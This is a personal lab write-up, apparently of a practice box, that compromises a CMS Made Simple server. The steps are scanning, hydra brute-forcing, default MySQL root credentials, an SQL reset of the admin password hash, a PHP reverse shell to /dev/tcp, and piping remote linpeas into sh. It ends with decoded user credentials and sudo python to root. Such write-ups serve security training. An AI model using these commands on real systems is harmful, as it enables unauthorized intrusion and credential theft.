Given Target: 192.168.172.74

rustscan 192.168.172.74

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
3306/tcp open mysql syn-ack
33060/tcp open mysqlx syn-ack

nmap -sC -sV -p22,80,3306,33060 -v -T4 192.168.172.74 -oN services.nmap

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA)
| 256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA)
|_ 256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.
|_http-favicon: Unknown favicon MD5: 551E34ACF2930BF083670FA203420993
|_http-title: Home - My CMS
|http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|
Supported Methods: GET HEAD POST OPTIONS
3306/tcp open mysql MySQL 8.0.19
|ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 8.0.19
| Thread ID: 45
| Capabilities flags: 65535
| Some Capabilities: Speaks41ProtocolNew, Support41Auth, ConnectWithDatabase, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsTransactions, InteractiveClient, LongPassword, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsLoadDataLocal, SupportsCompression, LongColumnFlag, ODBCClient, SwitchToSSLAfterHandshake, IgnoreSigpipes, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: ?yacCn\x1A,l\x19EK\x04Nfuh \x1B\x1D
|
Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.19_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.19_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-03-25T09:30:14
| Not valid after: 2030-03-23T09:30:14
| MD5: ab68:52c7:9ef3:3568:e534:a8f6:0670:3571
|SHA-1: 62d2:bb7c:d123:e6d4:7231:773c:0916:b2c8:05dd:3f48
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|
HY000

dirb http://192.168.172.74

---- Scanning URL: http://192.168.172.74/ ----
==> DIRECTORY: http://192.168.172.74/admin/
==> DIRECTORY: http://192.168.172.74/assets/

  • http://192.168.172.74/cgi-bin/ (CODE:403|SIZE:279)
    ==> DIRECTORY: http://192.168.172.74/doc/
  • http://192.168.172.74/index.php (CODE:200|SIZE:19502)
    ==> DIRECTORY: http://192.168.172.74/lib/
    ==> DIRECTORY: http://192.168.172.74/modules/
  • http://192.168.172.74/phpinfo.php (CODE:200|SIZE:90299)
  • http://192.168.172.74/phpmyadmin (CODE:401|SIZE:461)
  • http://192.168.172.74/server-status (CODE:403|SIZE:279)
    ==> DIRECTORY: http://192.168.172.74/tmp/
    ==> DIRECTORY: http://192.168.172.74/uploads/

admin:admin fails. Trying hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.172.74 http-post-form "/admin/login.php:username=^USER^&password=^PASS^:User name or password incorrect"

Too fast of threads or improper error message config this happens so make sure to limit threads -t
![[Pasted image 20231104134726.png]]

version CMS Made Simple version 2.2.13

searchsploit CMS Made Simple

Exploits: No Results
Shellcodes: No Results


Paper Title | Path


CMS Made Simple v2.2.13 - Paper | docs/english/49947-cms-made-simp

nmap -sC -sV --script=mysql-audit,mysql-databases,mysql-brute,mysql-enum,mysql-dump-hashes -p3306 -T4 192.168.172.74 -oN mysql.nmap

PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.19
| mysql-brute:
| Accounts:
| root:root - Valid credentials
| Statistics: Performed 1 guesses in 1 seconds, average tps: 1.0
|_ ERROR: The service seems to have failed or is heavily firewalled...
| mysql-enum:
| Valid usernames:
| root: - Valid credentials
| guest: - Valid credentials
| netadmin: - Valid credentials
| user: - Valid credentials
| web: - Valid credentials
| sysadmin: - Valid credentials
| administrator: - Valid credentials
| webadmin: - Valid credentials
| admin: - Valid credentials
| test: - Valid credentials
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-databases:
| cmsms_db
| information_schema
| mysql
| performance_schema
|_ sys

Found root:root

mysql -u root -h 192.168.172.74 -p
the -p means using a password
Password prompted where I enter root

Connected

show databases;
+--------------------+
| Database |
+--------------------+
| cmsms_db |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+

MySQL [(none)]> use cmsms_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [cmsms_db]>

MySQL [cmsms_db]> SELECT * FROM cms_users;
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
| user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date |
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
| 1 | admin | 59f9ba27528694d9b3493dfde7709e70 | 1 | | | [email protected] | 1 | 2020-03-25 09:38:46 | 2020-03-26 10:49:17 |
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+

admin:59f9ba27528694d9b3493dfde7709e70

crack time

Nope

Going to try to replace the password via dbeaver since cli mysql is cancer

192.168.172.74

![[Pasted image 20231104142904.png]]

Change admin's password hash to password's md5 hash

5f4dcc3b5aa765d61d8327deb882cf99

![[Pasted image 20231104143306.png]]

Apparently not raw MD5

cms dev blog on changing logins
https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery

update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'admin'))) where username = 'admin';

![[Pasted image 20231104144709.png]]

seems it worked

![[Pasted image 20231104144740.png]]

Add this to the user defined tags then set listener on kali. Wrap the bash revshell since it crashes the site normally

system("bash -c 'sh -i >& /dev/tcp/192.168.45.172/4444 0>&1'");
nc -nlvp 4444

listening on [any] 4445 ...
connect to [192.168.45.172] from (UNKNOWN) [192.168.172.74] 40518
sh: 0: can't access tty; job control turned off
$ whoami
www-data

upgrade shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

run linpeas

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

╔══════════╣ Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 root root 44 May 31 2020 /etc/apache2/.htpasswd
admin:$apr1$xcVPTQ1f$RSPY3ZneahnCI1a6Qr32S1
-rw-r--r-- 1 www-data www-data 45 Jun 24 2020 /var/www/html/admin/.htpasswd
TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=

Base 64 decode: TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=

echo TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0= | base64 -d
MFZG233VOI5FG2DJMVWGIQBRGIZQ====
Turns out this is base 32 so need to decode it again
echo TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0= | base64 -d | base32 -d
armour:Shield@123

Priv Esc

![[Pasted image 20231104150835.png]]

now I'm Armour

Can run python

armour@mycmsms:~$ sudo -l
sudo -l
Matching Defaults entries for armour on mycmsms:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User armour may run the following commands on mycmsms:
(root) NOPASSWD: /usr/bin/python

sudo python -c 'import os; os.system("/bin/sh")'

![[Pasted image 20231104151015.png]]

![[Pasted image 20231104151055.png]]

970cad17211c33363eb0fd006ed3c464

must have missed local

find / -type f -name "local.txt" 2>/dev/null

![[Pasted image 20231104151219.png]]

5648c00001a702dd120c54839ae66dfb